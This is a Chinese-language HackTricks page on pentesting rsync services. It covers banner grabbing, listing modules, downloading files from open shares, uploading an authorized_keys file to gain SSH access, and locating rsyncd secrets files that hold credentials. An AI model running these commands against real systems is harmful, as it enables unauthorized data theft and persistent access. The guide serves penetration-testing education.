mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
146 lines
8.3 KiB
Markdown
146 lines
8.3 KiB
Markdown
# 873 - 渗透测试 Rsync
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
## **基本信息**
|
||
|
||
> **rsync** 是一种用于在计算机和外部硬盘之间以及跨网络计算机之间高效地[传输](https://en.wikipedia.org/wiki/File\_transfer)和[同步](https://en.wikipedia.org/wiki/File\_synchronization)[文件](https://en.wikipedia.org/wiki/Computer\_file)的实用工具,它通过比较文件的[修改时间](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))和大小来实现。它通常在类Unix的[操作系统](https://en.wikipedia.org/wiki/Operating\_system)中找到。rsync 算法是一种[增量编码](https://en.wikipedia.org/wiki/Delta\_encoding)类型,用于最小化网络使用。可以使用[Zlib](https://en.wikipedia.org/wiki/Zlib)进行额外的[数据压缩](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3)并且可以使用[SSH](https://en.wikipedia.org/wiki/Secure\_Shell)或[stunnel](https://en.wikipedia.org/wiki/Stunnel)进行安全传输。
|
||
|
||
来自[wikipedia](https://en.wikipedia.org/wiki/Rsync)。
|
||
|
||
**默认端口:** 873
|
||
```
|
||
PORT STATE SERVICE REASON
|
||
873/tcp open rsync syn-ack
|
||
```
|
||
## 枚举
|
||
|
||
### 横幅和手动通信
|
||
|
||
在渗透测试中,枚举是一项重要的任务,它帮助我们收集关于目标系统的信息。在进行rsync服务的渗透测试时,我们可以使用以下方法进行枚举。
|
||
|
||
#### 横幅
|
||
|
||
通过连接到目标rsync服务并读取横幅信息,我们可以获取有关服务版本和其他相关信息的线索。这可以通过使用`telnet`命令连接到rsync服务的默认端口(873)来完成。
|
||
|
||
```bash
|
||
telnet <target_ip> 873
|
||
```
|
||
|
||
#### 手动通信
|
||
|
||
我们还可以使用`rsync`命令与目标rsync服务进行手动通信。这可以帮助我们了解服务的功能和配置。以下是一些常用的手动通信命令:
|
||
|
||
- 列出目标系统上的文件和目录:
|
||
|
||
```bash
|
||
rsync rsync://<target_ip>/
|
||
```
|
||
|
||
- 下载目标系统上的文件或目录:
|
||
|
||
```bash
|
||
rsync -av rsync://<target_ip>/<file_or_directory> <local_destination>
|
||
```
|
||
|
||
- 上传本地文件或目录到目标系统:
|
||
|
||
```bash
|
||
rsync -av <local_file_or_directory> rsync://<target_ip>/<destination_directory>
|
||
```
|
||
|
||
通过使用这些命令,我们可以与目标rsync服务进行交互,并获取有关目标系统的更多信息。
|
||
```
|
||
nc -vn 127.0.0.1 873
|
||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
||
@RSYNCD: 31.0 <--- Then you send the same info
|
||
#list <--- Then you ask the sever to list
|
||
raidroot <--- The server starts enumerating
|
||
USBCopy
|
||
NAS_Public
|
||
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
||
@RSYNCD: EXIT <--- Sever closes the connection
|
||
|
||
|
||
#Now lets try to enumerate "raidroot"
|
||
nc -vn 127.0.0.1 873
|
||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||
@RSYNCD: 31.0
|
||
@RSYNCD: 31.0
|
||
raidroot
|
||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||
```
|
||
### **枚举共享文件夹**
|
||
|
||
**一个 rsync 模块本质上是一个目录共享**。这些模块**可以选择性地通过密码进行保护**。这个选项列出了可用的模块,并且可以选择性地确定模块是否需要密码来访问\*\*:\*\*
|
||
```bash
|
||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/rsync/modules_list
|
||
|
||
#Example using IPv6 and a different port
|
||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||
```
|
||
请注意,可以配置一个共享名称以使其不被列出。因此可能有一些**隐藏的**东西。\
|
||
请注意,可能有一些列出的**共享名称**需要一些(不同的)**凭据**才能访问。因此,并不总是所有列出的名称都可以访问,如果您在尝试访问其中一些时收到**"访问被拒绝"**的消息,您将会注意到这一点。
|
||
|
||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||
|
||
### 手动 Rsync
|
||
|
||
一旦您获得了**模块列表**,根据您想要采取的操作以及是否需要身份验证,您有几个不同的选项。**如果不需要身份验证**,您可以**列出**一个共享文件夹:
|
||
```bash
|
||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||
```
|
||
并通过以下命令将所有文件复制到本地机器:
|
||
```bash
|
||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||
```
|
||
这个命令会**递归地将目录** `<shared_name>` 上的所有文件从机器 `<IP>` 传输到本地机器的 `./rsync_shared` 目录中。文件以“归档”模式传输,这确保了符号链接、设备、属性、权限、所有权等在传输中得以保留。
|
||
|
||
如果你**有凭据**,你可以使用以下命令(密码将会提示)**列出/下载**一个**共享名称**:
|
||
```bash
|
||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||
```
|
||
您也可以使用rsync上传一些内容(例如,在这种情况下,我们可以上传一个_**authorized\_keys**_文件以获取对该框的访问权限):
|
||
```bash
|
||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||
```
|
||
## POST
|
||
|
||
查找rsyncd配置文件:
|
||
```bash
|
||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||
```
|
||
在配置文件中,有时可以找到参数_secrets file = /path/to/file_,而这个文件可能包含允许用于身份验证到rsyncd的用户名和密码。
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|